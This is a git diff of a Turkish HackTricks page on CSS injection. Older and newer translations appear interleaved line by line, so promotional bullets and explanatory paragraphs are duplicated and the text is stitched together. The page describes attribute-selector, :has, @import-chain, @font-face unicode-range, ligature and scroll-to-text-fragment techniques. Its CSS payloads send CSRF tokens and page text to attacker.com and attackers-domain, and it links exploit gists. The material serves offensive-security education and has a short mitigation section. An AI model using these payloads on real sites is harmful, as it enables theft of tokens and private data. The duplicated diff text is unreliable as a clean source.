* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **destek olun**.
</details>

View file

@ -2,23 +2,31 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## CSS Enjeksiyonu
### Öznitelik Seçici
CSS seçicileri, bir `input` elementinin `name` ve `value` özniteliklerinin değerlerini eşleştirmek için oluşturulur. Eğer input elementinin value özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir harici kaynak yüklenir:
CSS seçicileri, bir `input` elementinin `name` ve `value` özniteliklerinin değerlerini eşleştirmek üzere oluşturulmuştur. Eğer input elementinin value özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış harici bir kaynak yüklenir:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -31,30 +39,26 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Ancak, bu yaklaşım gizli giriş elemanlarıyla (`type="hidden"`) uğraşırken bir sınırlamayla karşılaşır çünkü gizli elemanlar arka planları yüklemez.
#### Gizli Elemanlar için Atlatma
#### Gizli Elemanlar İçin Atlama
Bu sınırlamayı aşmak için, `~` genel kardeş birleştiricisini kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı, gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir:
Bu kısıtlamayı atlamak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
CSS Enjeksiyonu tekniğini sömürmenin pratik bir örneği, sağlanan kod parçacığında detaylı bir şekilde açıklanmıştır. [Buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) görüntüleyebilirsiniz.
#### CSS Enjeksiyonu için Ön Koşullar
#### CSS Enjeksiyonu için Önkoşullar
CSS Enjeksiyonu tekniğini etkili bir şekilde kullanabilmek için belirli koşulların sağlanması gerekmektedir:
CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:
1. **Payload Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri barındıracak kadar uzun payloadları desteklemelidir.
2. **CSS Yeniden Değerlendirme**: CSS'nin yeni oluşturulan payloadlarla yeniden değerlendirilmesini tetiklemek için sayfayı çerçevelemek için yeteneğe sahip olmanız gerekmektedir.
3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
1. **Yük Payload Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yeteneğe sahip olmalısınız, bu da CSS'nin yeni oluşturulan yüklerle yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir.
### Kör Öznitelik Seçici
[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasının içinde ne olduğunu hiç bilmediğiniz durumlarda çok kullanışlıdır.\
Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanabilirsiniz, örneğin:
[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasının içinde ne olduğu hakkında hiçbir fikriniz olmadığında çok yararlıdır.\
Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanmak mümkündür:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -64,34 +68,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Bu, aşağıdaki **@import** tekniği ile birleştirildiğinde, **kördüğüm sayfalardan CSS enjeksiyonu kullanarak bilgi sızdırmak mümkündür**. [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Bu, **@import** tekniği ile birleştirildiğinde, [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)** ile kör sayfalardan CSS enjeksiyonu kullanarak birçok bilgiyi dışarı çıkarmak mümkündür.**
### @import
Önceki teknik bazı dezavantajlara sahiptir, önkoşulları kontrol edin. Ya **kurban'a birden fazla bağlantı gönderebilmelisiniz**, ya da **CSS enjeksiyonu açığı olan sayfayı iframe'leyebilmelisiniz**.
Önceki teknik bazı dezavantajlara sahiptir, önkoşulları kontrol edin. **Kurban'a birden fazla bağlantı gönderebilmelisiniz** veya **CSS enjeksiyonu açığı olan sayfayı iframe ile gömebilmelisiniz**.
Ancak, teknik kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şu şekilde çalışır:
Bu ilk kez [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şöyle çalışır:
Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine (öncekine benzer şekilde), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurban'a gönderilecek yük).
Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine, **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurban'a gönderilecek yük).
```css
@import url('//attacker.com:5001/start?');
```
1. İmport, saldırganlardan **bazı CSS betiklerini alacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS betiğinin ilk kısmı, saldırganın sunucusuna **başka bir `@import` isteği** olacak.
1. Henüz saldırganın sunucusu bu isteği yanıtlamayacak, çünkü bazı karakterleri sızdırmak ve ardından bu import isteğine sızdırmak için yanıt vereceğiz.
3. Payload'ın ikinci ve daha büyük kısmı, bir **öznitelik seçici sızıntı payloadu** olacak.
1. Bu, saldırganın sunucusuna gizemin **ilk karakterini ve son karakterini** gönderecek.
4. Saldırganın sunucusu, **gizemin ilk ve son karakterini** aldığında, adım 2'de istenen import isteğini **yanıtlayacak**.
1. Yanıt, adımlar 2, 3 ve 4 ile tamamen aynı olacak, ancak bu sefer **gizemin ikinci karakterini ve ardından sondan bir öncekini** bulmaya çalışacak.
1. Saldırganlar **bazı CSS betiklerini alacak** ve **tarayıcı onu yükleyecek**.
2. Saldırganın göndereceği CSS betiğinin ilk kısmı, **saldırganın sunucusuna başka bir `@import` olacak**.
3. Saldırganın sunucusu henüz bu isteğe yanıt vermeyecek, çünkü bazı karakterleri sızdırmak ve ardından bu ithalatı sızdırmak için yanıt vereceğiz.
4. Yükün ikinci ve daha büyük kısmı, bir **özellik seçici sızıntı yükü** olacak.
5. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini gönderecek**.
6. Saldırganın sunucusu, **sırrın ilk ve son karakterini aldığında**, adımda 2 istenilen ithalatı **yanıtlayacak**.
7. Yanıt, **adımlar 2, 3 ve 4 ile tam olarak aynı olacak**, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir öncekini bulmaya çalışacak**.
Saldırgan, gizemi tamamen sızdırmayı başarana kadar bu döngüyü **takip edecektir**.
Saldırgan, sırrı tamamen sızdırmayı başarana kadar bu döngüyü **takip edecek**.
Orijinal [**Pepe Vila'nın bu açığı sömürmek için yazdığı kodu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse aynı olan [**ancak yorumlanmış kodu burada bulabilirsiniz**.](./#css-injection)
Orijinal [**Pepe Vila'nın bu açığı sömürmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse aynı [**kodun yorumlanmış halini burada bulabilirsiniz**.](./#css-injection)
{% hint style="info" %}
Betik, her seferinde 2 karakter keşfetmeye çalışacak (baştan ve sondan) çünkü öznitelik seçici, şunları yapmaya izin verir:
Betik, başlangıçtan ve sondan 2 karakter keşfetmeye çalışacak çünkü özellik seçicisi şunları yapmaya izin verir:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -99,30 +103,26 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Bu, betiğin sırrı daha hızlı sızdırmasına izin verir.
{% endhint %}
{% hint style="warning" %}
Bazen betik, keşfedilen önek + sonek'in zaten tam bayrak olduğunu doğru bir şekilde tespit etmez ve ileri (önek) ve geri (sonek) doğru devam eder ve bir noktada takılır.\
Endişelenmeyin, sadece **çıktıyı kontrol edin** çünkü **bayrağı orada görebilirsiniz**.
Bazen betik, keşfedilen önek + sonek'in zaten tam bayrağın olduğunu doğru bir şekilde algılamaz ve ileriye (önek içinde) ve geriye (sonek içinde) devam eder ve bir noktada takılır. Endişelenmeyin, sadece **çıktıyı kontrol edin** çünkü **bayrağı orada görebilirsiniz**.
{% endhint %}
### Diğer seçiciler
**CSS seçicileri** ile DOM parçalarına erişmenin diğer yolları:
* **`.class-to-search:nth-child(2)`**: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arar.
* **`.class-to-search:nth-child(2)`**: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.
* **`:empty`** seçici: Örneğin [**bu yazıda**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** kullanılır:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("SUNUCU_URL'NİZ?1"); }
```
### Hata tabanlı XS-Search
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrollü bir uç noktadan özel bir yazı tipi kullanmak** ve belirtilen kaynak (`favicon.ico`) yüklenemezse, **metnin (bu durumda 'A') yalnızca bu yazı tipiyle görüntülenmesini sağlamaktır**.
Genel amaç, **kontrollü bir uç noktadan özel bir yazı tipi kullanmak** ve **belirtilen kaynak (`favicon.ico`) yüklenemezse metnin (bu durumda 'A') yalnızca bu yazı tipi ile görüntülenmesini sağlamaktır**.
```html
<!DOCTYPE html>
<html>
@ -146,46 +146,46 @@ font-family: 'poc';
</body>
</html>
```
1. **Özel Yazı Tipi Kullanımı**:
- Özel bir yazı tipi, `<head>` bölümündeki `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Yazı tipi `poc` olarak adlandırılır ve dış bir kaynaktan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği, belirli bir Unicode karakteri olan 'A' hedef alacak şekilde `U+0041` olarak ayarlanır.
1. **Özel Font Kullanımı**:
- Bir özel font, `<head>` bölümünde `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Font `poc` adını taşır ve dış bir uç noktadan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği, belirli Unicode karakteri 'A' hedefleyen `U+0041` olarak ayarlanmıştır.
2. **Yedek Metinli Nesne Öğesi**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` öğesi oluşturulur. Bu öğe, `http://192.168.0.1/favicon.ico` adresinden bir kaynağı yüklemeye çalışır.
- Bu öğenin `font-family` özelliği, `<style>` bölümünde tanımlanan `'poc'` olarak ayarlanır.
2. **Yedek Metin ile Obje Elemanı**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynağı yüklemeye çalışır.
- Bu eleman için `font-family` `'poc'` olarak `<style>` bölümünde tanımlanmıştır.
- Kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketi içindeki yedek içerik (harf 'A') görüntülenir.
- Dış kaynak yüklenemezse, yedek içerik ('A') özel `poc` yazı tipi kullanılarak render edilir.
- Dış kaynak yüklenemezse, yedek içerik ('A') özel font `poc` kullanılarak oluşturulur.
### Metin Parçasına Kaydırma Stili
**`:target`** yalancı-sınıfı, [CSS Seçicileri 4. Düzey belirtiminde](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtildiği gibi, bir **URL parçası** tarafından hedeflenen bir öğeyi seçmek için kullanılır. `::target-text`'in, metin açıkça parça tarafından hedeflenmediği sürece hiçbir öğeyle eşleşmediğini anlamak önemlidir.
**`:target`** yalancı-sınıfı, bir **URL parçası** tarafından hedeflenen bir elemanı seçmek için kullanılır, [CSS Seçiciler Seviye 4 belirtiminde](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtildiği gibi. `::target-text`'in, metin açıkça parça tarafından hedeflenmediği sürece hiçbir elemanla eşleşmediği önemlidir.
Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli bir metnin varlığını doğrulamalarına izin veren **Metin Parçasına Kaydırma** özelliğini istismar etmeleri durumunda ortaya çıkar. Bu yöntem, aşağıdaki gibi bir CSS kuralının enjekte edilmesini içerir:
Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli metnin varlığını doğrulamalarına izin veren **Metne Kaydırma** parçası özelliğini istismar ettiğinde ortaya çıkar. Bu yöntem, şu gibi bir CSS kuralının enjekte edilmesini içerir:
```css
:target::before { content : url(target.png) }
```
Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, sunucudan `target.png` kaynağı istenir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi yanında bir Scroll-to-text parçasıyla gömmüş özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:
Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, metnin varlığını gösteren `target.png` kaynağı sunucudan istenir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi yan yana bir Scroll-to-text parçası ile gömmüş özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
İşte, saldırı HTML enjeksiyonunu manipüle ederek CSS kodunu iletiyor ve Scroll-to-text parçası (`#:~:text=Administrator`) aracılığıyla belirli metin "Yönetici" hedefleniyor. Metin bulunursa, belirtilen kaynak yüklenir ve yanlışlıkla varlığı saldırgan tarafından sinyal verilir.
Attack, belirli metin "Yönetici" üzerinde Scroll-to-text parçası (`#:~:text=Administrator`) aracılığıyla CSS kodunu iletmek için HTML enjeksiyonunu manipüle eder. Metin bulunduğunda, belirtilen kaynak yüklenir ve yanlışlıkla varlığını saldırganın dikkatine sunar.
Azaltma için aşağıdaki noktalara dikkat edilmelidir:
Hafifletme için şu noktalara dikkat edilmelidir:
1. **Kısıtlı STTF Eşleştirme**: Scroll-to-text Fragment (STTF) yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.
2. **Üst Düzey Göz Atma Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframe'ler içinde çalışmaz, bu da herhangi bir sömürü girişiminin kullanıcı tarafından daha fark edilebilir olmasını sağlar.
3. **Kullanıcı Etkinleştirmesinin Gerekliliği**: STTF, çalışmak için bir kullanıcı etkinleştirme hareketi gerektirir, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesi riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomatikleştirilmesini kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) olduğunu belirtmektedir.
1. **Kısıtlanmış STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.
2. **Üst Düzey Gözatma Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey gözatma bağlamlarında çalışır ve iframeler içinde işlev görmez, bu da herhangi bir sömürü girişimini kullanıcıya daha fark edilir hale getirir.
3. **Kullanıcı Etkinleştirme Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkinleştirme jestine ihtiyacı vardır, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesinin riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve atlatmaları (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.
Bu mekanizmaların ve potansiyel güvenlik açıklarının farkında olmak, web güvenliğini korumak ve böyle sömürücü taktiklere karşı korunmak için önemlidir.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sürdürmek ve bu tür sömürücü taktiklere karşı korunmak için önemlidir.
Daha fazla bilgi için orijinal raporu kontrol edin: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Daha fazla bilgi için orijinal raporu kontrol edebilirsiniz: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Bu teknik için bir CTF'de kullanılan bir [**sömürüyü buradan kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Bu tekniği kullanan bir [**CTF için exploit'i buradan kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Sayfada **yalnızca belirli unicode değerleri mevcutsa toplanacak olan belirli unicode değerleri için harici yazı tipleri** belirtebilirsiniz. Örneğin:
Sayfada bulunan **belirli unicode değerleri için harici yazı tipleri** belirleyebilir ve yalnızca bu unicode değerleri varsa **toplanacaklardır**. Örneğin:
```html
<style>
@font-face{
@ -210,22 +210,20 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Bu sayfaya eriştiğinizde, Chrome ve Firefox "A" ve "B" karakterlerini içeren hassas bilgi metin düğümünü alır. Ancak Chrome ve Firefox "C" içermediği için "?C" alınmaz. Bu, "A" ve "B" yi okuyabildiğimizi gösterir.
### Metin düğümü sızdırma (I): ligatürler <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referans:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
ıklanan teknik, yazı tipi ligatürlerini sömürerek bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:
ıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:
1. **Özel Yazı Tiplerinin Oluşturulması**:
- SVG yazı tipleri, iki karakter dizisini temsil eden bir glif için geniş bir genişlik belirleyen `horiz-adv-x` özniteliğine sahip gliflerle oluşturulur.
- Örnek SVG glif: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" bir iki karakter dizisini temsil eder.
- Bu yazı tipleri daha sonra fontforge kullanılarak woff formatına dönüştürülür.
1. **Özel Fontların Oluşturulması**:
- SVG fontlar, iki karakter dizisini temsil eden bir glif için geniş bir genişlik belirleyen `horiz-adv-x` özelliğine sahip gliflerle oluşturulur.
- Örnek SVG glif: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakterlik bir diziyi temsil eder.
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Tespiti**:
- Metnin kaymamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırma çubuğu stilini özelleştirmek için.
- Yatay bir kaydırma çubuğunun belirgin bir şekilde stilize edilmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak işlev görür.
2. **Genişlik Değişikliklerinin Algılanması**:
- Metnin kaymamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırma çubuğu stili özelleştirilir.
- Belirgin bir şekilde biçimlendirilmiş yatay bir kaydırma çubuğunun görünmesi, belirli bir ligatürün (ve dolayısıyla belirli bir karakter dizisinin) metinde bulunduğunu gösteren bir gösterge (oracle) olarak hareket eder.
- İlgili CSS:
```css
body { white-space: nowrap };
@ -234,28 +232,28 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
```
3. **Sömürü Süreci**:
- **Adım 1**: Geniş bir genişliğe sahip karakter çiftleri için yazı tipleri oluşturulur.
- **Adım 2**: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğini tespit etmek için bir kaydırma çubuğu tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya bir sonraki karakteri ekleyen üç karakter dizisini temsil eden yeni glifler oluşturulur.
- **Adım 4**: Üç karakterli ligatürün tespiti gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanır, tüm metin aşamalı olarak ortaya çıkar.
- **Adım 1**: Geniş birlikte iki karakteri temsil eden çiftler için fontlar oluşturulur.
- **Adım 2**: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğinde algılanmasını sağlamak için bir kaydırma çubuğu tabanlı bir hile kullanılır, bu karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür algılandığında, algılanan çifti içeren ve önceki veya sonraki bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glifler oluşturulur.
- **Adım 4**: Üç karakterlik ligatürün algılanması gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanarak tüm metin aşamalı olarak ortaya çıkarılır.
4. **Optimizasyon**:
- Mevcut `<meta refresh=...` ile başlatma yöntemi en iyisi değildir.
- Mevcut başlatma yöntemi `<meta refresh=...` kullanılarak optimal değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir.
### Metin düğümü sızdırma (II): varsayılan bir yazı tipiyle karakter kümesi sızdırma (harici varlıklar gerektirmez) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (II): varsayılan font ile karakter setinin sızdırılması (harici varlıklara gerek yok) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) sayfasında yayınlandı. Bir metin düğümünde kullanılan karakter kümesi, tarayıcıya yüklenen varsayılan yazı tipleri kullanılarak sızdırılabilir: harici veya özel yazı tiplerine ihtiyaç yoktur.
Bu hile, tarayıcıda yüklü olan varsayılan fontları kullanarak bir metin düğümündeki karakter setinin sızdırılmasını sağlar: harici -veya özel- fontlara gerek yoktur.
Kavram, bir `div`'in genişliğini aşamalı olarak genişletmek için bir animasyon kullanmayı içerir, böylece bir seferde bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin verir. Bu süreç metni iki bölüme ayırır:
Kavram, bir animasyon kullanarak bir `div`'in genişliğini aşamalı olarak artırarak, bir seferde bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin verir. Bu süreç, metni iki bölüme ayırır:
1. **Önek**: İlk satır.
2. **Sonek**: Sonraki satır(lar).
Karakterlerin geçiş aşamaları aşağıdaki gibi görünecektir:
Karakterlerin geçiş aşamaları şu şekilde görünür:
**C**\
ADB
@ -269,13 +267,13 @@ B
**CADB**
Bu geçiş sırasında, **unicode-range hilesi** her yeni karakterin öne katılmasını belirlemek için kullanılır. Bu, yazı tipinin Comic Sans olarak değiştirilerek gerçekleştirilir, bu yazı tipi varsayılan yazı tipinden daha uzundur, bu da dikey bir kaydırma çubuğunu tetikler. Bu kaydırma çubuğunun görünümü, önek kısmında yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır.
